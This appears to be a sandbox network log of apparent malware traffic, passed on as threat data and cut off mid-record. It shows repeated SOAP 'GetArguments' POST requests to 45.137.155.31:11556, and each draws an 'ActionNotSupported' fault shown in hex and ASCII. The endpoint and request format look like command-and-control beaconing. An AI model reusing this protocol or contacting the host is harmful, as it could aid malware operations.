Aug 3, 2021 23:09:24.860424042 CEST	10638	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:25.871798992 CEST	10638	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:25.941642046 CEST	10638	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:26.011050940 CEST	10639	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:25 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:27.028424025 CEST	10640	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:27.097578049 CEST	10640	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:27.167331934 CEST	10641	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:27 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:28.184715986 CEST	10641	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:28.254736900 CEST	10641	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:28.326293945 CEST	10642	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:28 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:29.341274023 CEST	10643	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:29.409929991 CEST	10643	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:29.480310917 CEST	10644	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:29 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:30.498008013 CEST	10644	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:30.567215919 CEST	10644	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:30.640692949 CEST	10645	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:30 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:31.653213024 CEST	10646	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:31.722610950 CEST	10646	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:31.792079926 CEST	10647	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:31 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 